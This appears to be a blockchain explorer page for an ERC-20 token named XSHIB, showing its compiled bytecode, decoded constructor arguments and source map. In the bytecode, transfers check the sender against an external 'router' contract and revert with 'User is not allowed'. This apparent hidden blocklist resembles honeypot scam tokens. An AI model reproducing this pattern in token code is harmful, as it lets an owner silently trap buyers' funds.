ffff16815260200190815260200160002054905092915050565b610702610d40565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610772576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107699061149d565b60405180910390fd5b61077b81610dbe565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156107f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107ed9061157d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610866576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085d906114bd565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161094491906115dd565b60405180910390a3505050565b600061095d8484610673565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146109d757818110156109c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c0906114dd565b60405180910390fd5b6109d68484848403610786565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a449061155d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610abd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab49061147d565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f5f9a371846040518263ffffffff1660e01b8152600401610b189190611425565b60206040518083038186803b158015610b3057600080fd5b505afa158015610b44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b689190610fbd565b15610ba8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9f9061151d565b60405180910390fd5b610bb3838383610e84565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610c39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c30906115bd565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610d2791906115dd565b60405180910390a3610d3a848484610e89565b50505050565b610d4861077e565b73ffffffffffffffffffffffffffffffffffffffff16610d6661051d565b73ffffffffffffffffffffffffffffffffffffffff1614610dbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db39061153d565b60405180910390fd5b565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b505050565b600081359050610e9d816117ae565b92915050565b600081519050610eb2816117c5565b92915050565b600081359050610ec7816117dc565b92915050565b600060208284031215610edf57600080fd5b6000610eed84828501610e8e565b91505092915050565b60008060408385031215610f0957600080fd5b6000610f1785828601610e8e565b9250506020610f2885828601610e8e565b9150509250929050565b600080600060608486031215610f4757600080fd5b6000610f5586828701610e8e565b9350506020610f6686828701610e8e565b9250506040610f7786828701610eb8565b9150509250925092565b60008060408385031215610f9457600080fd5b6000610fa285828601610e8e565b9250506020610fb385828601610eb8565b9150509250929050565b600060208284031215610fcf57600080fd5b6000610fdd84828501610ea3565b91505092915050565b610fef81611685565b82525050565b610ffe81611697565b82525050565b600061100f82611613565b611019818561161e565b93506110298185602086016116da565b6110328161179d565b840191505092915050565b600061104a60238361161e565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006110b060268361161e565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061111660228361161e565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061117c601d8361161e565b91507f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006000830152602082019050919050565b60006111bc601a8361161e565b91507f546f6b656e7320616c72656164792064697374726962757465640000000000006000830152602082019050919050565b60006111fc60138361161e565b91507f55736572206973206e6f7420616c6c6f776564000000000000000000000000006000830152602082019050919050565b600061123c60208361161e565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b600061127c60258361161e565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006112e260248361161e565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061134860258361161e565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006113ae60288361161e565b91507f45524332303a207472616e7366657220616d6d6f75646e74206578636565647360008301527f2062616c616e63650000000000000000000000000000000000000000000000006020830152604082019050919050565b611410816116c3565b82525050565b61141f816116cd565b82525050565b600060208201905061143a6000830184610fe6565b92915050565b60006020820190506114556000830184610ff5565b92915050565b600060208201905081810360008301526114758184611004565b905092915050565b600060208201905081810360008301526114968161103d565b9050919050565b600060208201905081810360008301526114b6816110a3565b9050919050565b600060208201905081810360008301526114d681611109565b9050919050565b600060208201905081810360008301526114f68161116f565b9050919050565b60006020820190508181036000830152611516816111af565b9050919050565b60006020820190508181036000830152611536816111ef565b9050919050565b600060208201905081810360008301526115568161122f565b9050919050565b600060208201905081810360008301526115768161126f565b9050919050565b60006020820190508181036000830152611596816112d5565b9050919050565b600060208201905081810360008301526115b68161133b565b9050919050565b600060208201905081810360008301526115d6816113a1565b9050919050565b60006020820190506115f26000830184611407565b92915050565b600060208201905061160d6000830184611416565b92915050565b600081519050919050565b600082825260208201905092915050565b600061163a826116c3565b9150611645836116c3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561167a5761167961173f565b5b828201905092915050565b6000611690826116a3565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156116f85780820151818401526020810190506116dd565b83811115611707576000848401525b50505050565b6000600282049050600182168061172557607f821691505b602082108114156117395761173861176e565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b6117b781611685565b81146117c257600080fd5b50565b6117ce81611697565b81146117d957600080fd5b50565b6117e5816116c3565b81146117f057600080fd5b5056fea2646970667358221220645492cb455cf8bd8418dce3cc530713ba9d6661fba3096cf814a945054176cd64736f6c63430008000033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000cdb3342be5b23228a1b20b377d022136ee4d93670000000000000000000000000000000000000000000000000000000000000005585348494200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000055853484942000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): XSHIB
Arg [1] : symbol_ (string): XSHIB
Arg [2] : router_ (address): 0xCDb3342Be5b23228A1B20B377D022136ee4D9367

-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 000000000000000000000000cdb3342be5b23228a1b20b377d022136ee4d9367
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000005
Arg [4] : 5853484942000000000000000000000000000000000000000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000005
Arg [6] : 5853484942000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

10527:567:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4868:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5922:205;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5195:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6135:301;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5092:93;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6446:238;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5366:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2503:103;;;:::i;:::-;;10843:248;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2198:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4978:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6695:436;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5503:197;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5763:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2761:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4868:100;4922:13;4955:5;4948:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4868:100;:::o;5922:205::-;6007:4;6024:13;6040:12;:10;:12::i;:::-;6024:28;;6063:34;6072:5;6079:7;6088:8;6063;:34::i;:::-;6115:4;6108:11;;;5922:205;;;;:::o;5195:108::-;5256:7;5283:12;;5276:19;;5195:108;:::o;6135:301::-;6268:4;6285:15;6303:12;:10;:12::i;:::-;6285:30;;6326:40;6342:4;6348:7;6357:8;6326:15;:40::i;:::-;6377:29;6387:4;6393:2;6397:8;6377:9;:29::i;:::-;6424:4;6417:11;;;6135:301;;;;;:::o;5092:93::-;5150:5;5175:2;5168:9;;5092:93;:::o;6446:238::-;6534:4;6551:13;6567:12;:10;:12::i;:::-;6551:28;;6590:64;6599:5;6606:7;6643:10;6615:25;6625:5;6632:7;6615:9;:25::i;:::-;:38;;;;:::i;:::-;6590:8;:64::i;:::-;6672:4;6665:11;;;6446:238;;;;:::o;5366:127::-;5440:7;5467:9;:18;5477:7;5467:18;;;;;;;;;;;;;;;;5460:25;;5366:127;;;:::o;2503:103::-;2084:13;:11;:13::i;:::-;2568:30:::1;2595:1;2568:18;:30::i;:::-;2503:103::o:0;10843:248::-;2084:13;:11;:13::i;:::-;10915:14:::1;10932:21;10942:10;10932:9;:21::i;:::-;10915:38;;10614:18;10972:6;:24;10964:63;;;;;;;;;;;;:::i;:::-;;;;;;;;;11040:43;11050:10;11062:12;11076:6;11040:9;:43::i;:::-;2108:1;10843:248:::0;:::o;2198:87::-;2244:7;2271:6;;;;;;;;;;;2264:13;;2198:87;:::o;4978:104::-;5034:13;5067:7;5060:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4978:104;:::o;6695:436::-;6788:4;6805:13;6821:12;:10;:12::i;:::-;6805:28;;6844:24;6871:25;6881:5;6888:7;6871:9;:25::i;:::-;6844:52;;6935:15;6915:16;:35;;6907:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;7028:60;7037:5;7044:7;7072:15;7053:16;:34;7028:8;:60::i;:::-;7119:4;7112:11;;;;6695:436;;;;:::o;5503:197::-;5584:4;5601:13;5617:12;:10;:12::i;:::-;5601:28;;5640:30;5650:5;5657:2;5661:8;5640:9;:30::i;:::-;5688:4;5681:11;;;5503:197;;;;:::o;5763:151::-;5852:7;5879:11;:18;5891:5;5879:18;;;;;;;;;;;;;;;:27;5898:7;5879:27;;;;;;;;;;;;;;;;5872:34;;5763:151;;;;:::o;2761:201::-;2084:13;:11;:13::i;:::-;2870:1:::1;2850:22;;:8;:22;;;;2842:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;2926:28;2945:8;2926:18;:28::i;:::-;2761:201:::0;:::o;205:98::-;258:7;285:10;278:17;;205:98;:::o;9082:386::-;9237:1;9220:19;;:5;:19;;;;9212:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9318:1;9299:21;;:7;:21;;;;9291:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9402:8;9372:11;:18;9384:5;9372:18;;;;;;;;;;;;;;;:27;9391:7;9372:27;;;;;;;;;;;;;;;:38;;;;9442:7;9426:34;;9435:5;9426:34;;;9451:8;9426:34;;;;;;:::i;:::-;;;;;;;;9082:386;;;:::o;9478:459::-;9615:24;9642:25;9652:5;9659:7;9642:9;:25::i;:::-;9615:52;;9702:17;9682:16;:37;9678:252;;9764:8;9744:16;:28;;9736:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;9850:53;9859:5;9866:7;9894:8;9875:16;:27;9850:8;:53::i;:::-;9678:252;9478:459;;;;:::o;7384:945::-;7533:1;7517:18;;:4;:18;;;;7509:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7610:1;7596:16;;:2;:16;;;;7588:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;7672:15;;;;;;;;;;;:24;;;7697:4;7672:30;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7671:31;7663:63;;;;;;;;;;;;:::i;:::-;;;;;;;;;7737:40;7758:4;7764:2;7768:8;7737:20;:40::i;:::-;7790:19;7812:9;:15;7822:4;7812:15;;;;;;;;;;;;;;;;7790:37;;7861:8;7846:11;:23;;7838:76;;;;;;;;;;;;:::i;:::-;;;;;;;;;7982:8;7968:11;:22;7950:9;:15;7960:4;7950:15;;;;;;;;;;;;;;;:40;;;;8204:8;8187:9;:13;8197:2;8187:13;;;;;;;;;;;;;;;;:25;;;;;;;;;;;8256:2;8241:28;;8250:4;8241:28;;;8260:8;8241:28;;;;;;:::i;:::-;;;;;;;;8282:39;8302:4;8308:2;8312:8;8282:19;:39::i;:::-;7384:945;;;;:::o;2363:132::-;2438:12;:10;:12::i;:::-;2427:23;;:7;:5;:7::i;:::-;:23;;;2419:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;2363:132::o;3130:182::-;3204:16;3223:6;;;;;;;;;;;3204:25;;3240:8;3231:6;;:17;;;;;;;;;;;;;;;;;;3295:8;3264:40;;3285:8;3264:40;;;;;;;;;;;;3130:182;;:::o;10230:127::-;;;;:::o;10367:126::-;;;;:::o;7:139:1:-;;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;59:87;;;;:::o;152:137::-;;237:6;231:13;222:22;;253:30;277:5;253:30;:::i;:::-;212:77;;;;:::o;295:139::-;;379:6;366:20;357:29;;395:33;422:5;395:33;:::i;:::-;347:87;;;;:::o;440:262::-;;548:2;536:9;527:7;523:23;519:32;516:2;;;564:1;561;554:12;516:2;607:1;632:53;677:7;668:6;657:9;653:22;632:53;:::i;:::-;622:63;;578:117;506:196;;;;:::o;708:407::-;;;833:2;821:9;812:7;808:23;804:32;801:2;;;849:1;846;839:12;801:2;892:1;917:53;962:7;953:6;942:9;938:22;917:53;:::i;:::-;907:63;;863:117;1019:2;1045:53;1090:7;1081:6;1070:9;1066:22;1045:53;:::i;:::-;1035:63;;990:118;791:324;;;;;:::o;1121:552::-;;;;1263:2;1251:9;1242:7;1238:23;1234:32;1231:2;;;1279:1;1276;1269:12;1231:2;1322:1;1347:53;1392:7;1383:6;1372:9;1368:22;1347:53;:::i;:::-;1337:63;;1293:117;1449:2;1475:53;1520:7;1511:6;1500:9;1496:22;1475:53;:::i;:::-;1465:63;;1420:118;1577:2;1603:53;1648:7;1639:6;1628:9;1624:22;1603:53;:::i;:::-;1593:63;;1548:118;1221:452;;;;;:::o;1679:407::-;;;1804:2;1792:9;1783:7;1779:23;1775:32;1772:2;;;1820:1;1817;1810:12;1772:2;1863:1;1888:53;1933:7;1924:6;1913:9;1909:22;1888:53;:::i;:::-;1878:63;;1834:117;1990:2;2016:53;2061:7;2052:6;2041:9;2037:22;2016:53;:::i;:::-;2006:63;;1961:118;1762:324;;;;;:::o;2092:278::-;;2208:2;2196:9;2187:7;2183:23;2179:32;2176:2;;;2224:1;2221;2214:12;2176:2;2267:1;2292:61;2345:7;2336:6;2325:9;2321:22;2292:61;:::i;:::-;2282:71;;2238:125;2166:204;;;;:::o;2376:118::-;2463:24;2481:5;2463:24;:::i;:::-;2458:3;2451:37;2441:53;;:::o;2500:109::-;2581:21;2596:5;2581:21;:::i;:::-;2576:3;2569:34;2559:50;;:::o;2615:364::-;;2731:39;2764:5;2731:39;:::i;:::-;2786:71;2850:6;2845:3;2786:71;:::i;:::-;2779:78;;2866:52;2911:6;2906:3;2899:4;2892:5;2888:16;2866:52;:::i;:::-;2943:29;2965:6;2943:29;:::i;:::-;2938:3;2934:39;2927:46;;2707:272;;;;;:::o;2985:367::-;;3148:67;3212:2;3207:3;3148:67;:::i;:::-;3141:74;;3245:34;3241:1;3236:3;3232:11;3225:55;3311:5;3306:2;3301:3;3297:12;3290:27;3343:2;3338:3;3334:12;3327:19;;3131:221;;;:::o;3358:370::-;;3521:67;3585:2;3580:3;3521:67;:::i;:::-;3514:74;;3618:34;3614:1;3609:3;3605:11;3598:55;3684:8;3679:2;3674:3;3670:12;3663:30;3719:2;3714:3;3710:12;3703:19;;3504:224;;;:::o;3734:366::-;;3897:67;3961:2;3956:3;3897:67;:::i;:::-;3890:74;;3994:34;3990:1;3985:3;3981:11;3974:55;4060:4;4055:2;4050:3;4046:12;4039:26;4091:2;4086:3;4082:12;4075:19;;3880:220;;;:::o;4106:327::-;;4269:67;4333:2;4328:3;4269:67;:::i;:::-;4262:74;;4366:31;4362:1;4357:3;4353:11;4346:52;4424:2;4419:3;4415:12;4408:19;;4252:181;;;:::o;4439:324::-;;4602:67;4666:2;4661:3;4602:67;:::i;:::-;4595:74;;4699:28;4695:1;4690:3;4686:11;4679:49;4754:2;4749:3;4745:12;4738:19;;4585:178;;;:::o;4769:317::-;;4932:67;4996:2;4991:3;4932:67;:::i;:::-;4925:74;;5029:21;5025:1;5020:3;5016:11;5009:42;5077:2;5072:3;5068:12;5061:19;;4915:171;;;:::o;5092:330::-;;5255:67;5319:2;5314:3;5255:67;:::i;:::-;5248:74;;5352:34;5348:1;5343:3;5339:11;5332:55;5413:2;5408:3;5404:12;5397:19;;5238:184;;;:::o;5428:369::-;;5591:67;5655:2;5650:3;5591:67;:::i;:::-;5584:74;;5688:34;5684:1;5679:3;5675:11;5668:55;5754:7;5749:2;5744:3;5740:12;5733:29;5788:2;5783:3;5779:12;5772:19;;5574:223;;;:::o;5803:368::-;;5966:67;6030:2;6025:3;5966:67;:::i;:::-;5959:74;;6063:34;6059:1;6054:3;6050:11;6043:55;6129:6;6124:2;6119:3;6115:12;6108:28;6162:2;6157:3;6153:12;6146:19;;5949:222;;;:::o;6177:369::-;;6340:67;6404:2;6399:3;6340:67;:::i;:::-;6333:74;;6437:34;6433:1;6428:3;6424:11;6417:55;6503:7;6498:2;6493:3;6489:12;6482:29;6537:2;6532:3;6528:12;6521:19;;6323:223;;;:::o;6552:372::-;;6715:67;6779:2;6774:3;6715:67;:::i;:::-;6708:74;;6812:34;6808:1;6803:3;6799:11;6792:55;6878:10;6873:2;6868:3;6864:12;6857:32;6915:2;6910:3;6906:12;6899:19;;6698:226;;;:::o;6930:118::-;7017:24;7035:5;7017:24;:::i;:::-;7012:3;7005:37;6995:53;;:::o;7054:112::-;7137:22;7153:5;7137:22;:::i;:::-;7132:3;7125:35;7115:51;;:::o;7172:222::-;;7303:2;7292:9;7288:18;7280:26;;7316:71;7384:1;7373:9;7369:17;7360:6;7316:71;:::i;:::-;7270:124;;;;:::o;7400:210::-;;7525:2;7514:9;7510:18;7502:26;;7538:65;7600:1;7589:9;7585:17;7576:6;7538:65;:::i;:::-;7492:118;;;;:::o;7616:313::-;;7767:2;7756:9;7752:18;7744:26;;7816:9;7810:4;7806:20;7802:1;7791:9;7787:17;7780:47;7844:78;7917:4;7908:6;7844:78;:::i;:::-;7836:86;;7734:195;;;;:::o;7935:419::-;;8139:2;8128:9;8124:18;8116:26;;8188:9;8182:4;8178:20;8174:1;8163:9;8159:17;8152:47;8216:131;8342:4;8216:131;:::i;:::-;8208:139;;8106:248;;;:::o;8360:419::-;;8564:2;8553:9;8549:18;8541:26;;8613:9;8607:4;8603:20;8599:1;8588:9;8584:17;8577:47;8641:131;8767:4;8641:131;:::i;:::-;8633:139;;8531:248;;;:::o;8785:419::-;;8989:2;8978:9;8974:18;8966:26;;9038:9;9032:4;9028:20;9024:1;9013:9;9009:17;9002:47;9066:131;9192:4;9066:131;:::i;:::-;9058:139;;8956:248;;;:::o;9210:419::-;;9414:2;9403:9;9399:18;9391:26;;9463:9;9457:4;9453:20;9449:1;9438:9;9434:17;9427:47;9491:131;9617:4;9491:131;:::i;:::-;9483:139;;9381:248;;;:::o;9635:419::-;;9839:2;9828:9;9824:18;9816:26;;9888:9;9882:4;9878:20;9874:1;9863:9;9859:17;9852:47;9916:131;10042:4;9916:131;:::i;:::-;9908:139;;9806:248;;;:::o;10060:419::-;;10264:2;10253:9;10249:18;10241:26;;10313:9;10307:4;10303:20;10299:1;10288:9;10284:17;10277:47;10341:131;10467:4;10341:131;:::i;:::-;10333:139;;10231:248;;;:::o;10485:419::-;;10689:2;10678:9;10674:18;10666:26;;10738:9;10732:4;10728:20;10724:1;10713:9;10709:17;10702:47;10766:131;10892:4;10766:131;:::i;:::-;10758:139;;10656:248;;;:::o;10910:419::-;;11114:2;11103:9;11099:18;11091:26;;11163:9;11157:4;11153:20;11149:1;11138:9;11134:17;11127:47;11191:131;11317:4;11191:131;:::i;:::-;11183:139;;11081:248;;;:::o;11335:419::-;;11539:2;11528:9;11524:18;11516:26;;11588:9;11582:4;11578:20;11574:1;11563:9;11559:17;11552:47;11616:131;11742:4;11616:131;:::i;:::-;11608:139;;11506:248;;;:::o;11760:419::-;;11964:2;11953:9;11949:18;11941:26;;12013:9;12007:4;12003:20;11999:1;11988:9;11984:17;11977:47;12041:131;12167:4;12041:131;:::i;:::-;12033:139;;11931:248;;;:::o;12185:419::-;;12389:2;12378:9;12374:18;12366:26;;12438:9;12432:4;12428:20;12424:1;12413:9;12409:17;12402:47;12466:131;12592:4;12466:131;:::i;:::-;12458:139;;12356:248;;;:::o;12610:222::-;;12741:2;12730:9;12726:18;12718:26;;12754:71;12822:1;12811:9;12807:17;12798:6;12754:71;:::i;:::-;12708:124;;;;:::o;12838:214::-;;12965:2;12954:9;12950:18;12942:26;;12978:67;13042:1;13031:9;13027:17;13018:6;12978:67;:::i;:::-;12932:120;;;;:::o;13058:99::-;;13144:5;13138:12;13128:22;;13117:40;;;:::o;13163:169::-;;13281:6;13276:3;13269:19;13321:4;13316:3;13312:14;13297:29;;13259:73;;;;:::o;13338:305::-;;13397:20;13415:1;13397:20;:::i;:::-;13392:25;;13431:20;13449:1;13431:20;:::i;:::-;13426:25;;13585:1;13517:66;13513:74;13510:1;13507:81;13504:2;;;13591:18;;:::i;:::-;13504:2;13635:1;13632;13628:9;13621:16;;13382:261;;;;:::o;13649:96::-;;13715:24;13733:5;13715:24;:::i;:::-;13704:35;;13694:51;;;:::o;13751:90::-;;13828:5;13821:13;13814:21;13803:32;;13793:48;;;:::o;13847:126::-;;13924:42;13917:5;13913:54;13902:65;;13892:81;;;:::o;13979:77::-;;14045:5;14034:16;;14024:32;;;:::o;14062:86::-;;14137:4;14130:5;14126:16;14115:27;;14105:43;;;:::o;14154:307::-;14222:1;14232:113;14246:6;14243:1;14240:13;14232:113;;;14331:1;14326:3;14322:11;14316:18;14312:1;14307:3;14303:11;14296:39;14268:2;14265:1;14261:10;14256:15;;14232:113;;;14363:6;14360:1;14357:13;14354:2;;;14443:1;14434:6;14429:3;14425:16;14418:27;14354:2;14203:258;;;;:::o;14467:320::-;;14548:1;14542:4;14538:12;14528:22;;14595:1;14589:4;14585:12;14616:18;14606:2;;14672:4;14664:6;14660:17;14650:27;;14606:2;14734;14726:6;14723:14;14703:18;14700:38;14697:2;;;14753:18;;:::i;:::-;14697:2;14518:269;;;;:::o;14793:180::-;14841:77;14838:1;14831:88;14938:4;14935:1;14928:15;14962:4;14959:1;14952:15;14979:180;15027:77;15024:1;15017:88;15124:4;15121:1;15114:15;15148:4;15145:1;15138:15;15165:102;;15257:2;15253:7;15248:2;15241:5;15237:14;15233:28;15223:38;;15213:54;;;:::o;15273:122::-;15346:24;15364:5;15346:24;:::i;:::-;15339:5;15336:35;15326:2;;15385:1;15382;15375:12;15326:2;15316:79;:::o;15401:116::-;15471:21;15486:5;15471:21;:::i;:::-;15464:5;15461:32;15451:2;;15507:1;15504;15497:12;15451:2;15441:76;:::o;15523:122::-;15596:24;15614:5;15596:24;:::i;:::-;15589:5;15586:35;15576:2;;15635:1;15632;15625:12;15576:2;15566:79;:::o

Swarm Source

ipfs://645492cb455cf8bd8418dce3cc530713ba9d6661fba3096cf814a945054176cd
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.